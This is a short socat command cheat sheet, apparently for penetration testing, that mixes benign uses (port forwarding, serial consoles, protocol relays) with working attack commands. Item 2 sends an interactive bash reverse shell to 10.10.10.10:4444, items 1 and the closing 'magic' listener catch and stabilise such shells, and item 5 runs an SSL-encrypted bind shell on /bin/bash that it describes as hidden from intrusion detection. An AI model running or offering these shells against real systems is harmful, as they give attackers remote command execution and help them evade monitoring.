Socat Command Guide

Socat is Netcat on steroids. It supports files, pipes, devices (serial line, pseudo-terminal, etc), sockets, SSL, and more.

Top 10 Useful Commands

1. Fully TTY Shell (Listener)

socat file:`tty`,raw,echo=0 tcp-listen:4444

Explanation: Listens for a shell and sets up a stable terminal (allows Ctrl+C, arrow keys).

2. TTY Shell (Connect)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444

Explanation: Sends a fully interactive bash shell.

3. Port Forwarding

socat TCP-LISTEN:8080,fork TCP:10.10.10.20:80

Explanation: Listens on 8080. Forwards all traffic to 10.10.10.20:80. The fork allows multiple connections.

4. File Transfer

socat TCP4-LISTEN:4444,fork file:filename.txt,create

Explanation: Host a file.

5. SSL Listener

socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash

Explanation: Encrypted Bind Shell. Traffic is hidden from IDS.

6. SSL Connect

socat - OPENSSL:10.10.10.10:443,verify=0

Explanation: Connect to the SSL listener.

7. Bridge 2 Ports

socat TCP:10.10.10.10:80 TCP:127.0.0.1:8080

Explanation: Connects a remote port to a local port.

8. Serial Connection

socat - /dev/ttyUSB0,b115200

Explanation: Connect to serial console.

9. UDP to TCP

socat UDP-LISTEN:53,fork TCP:10.10.10.10:53

Explanation: Convert protocols (relay UDP DNS to TCP DNS).

10. Verbose

socat -d -d ...

Explanation: Print fatal/warning messages.

The Most Powerful Command

socat file:`tty`,raw,echo=0 tcp-listen:4444

Explanation: The "Magic" listener. It stabilizes your reverse shell immediately, preventing you from accidentally killing it with Ctrl+C and giving you full tab completion.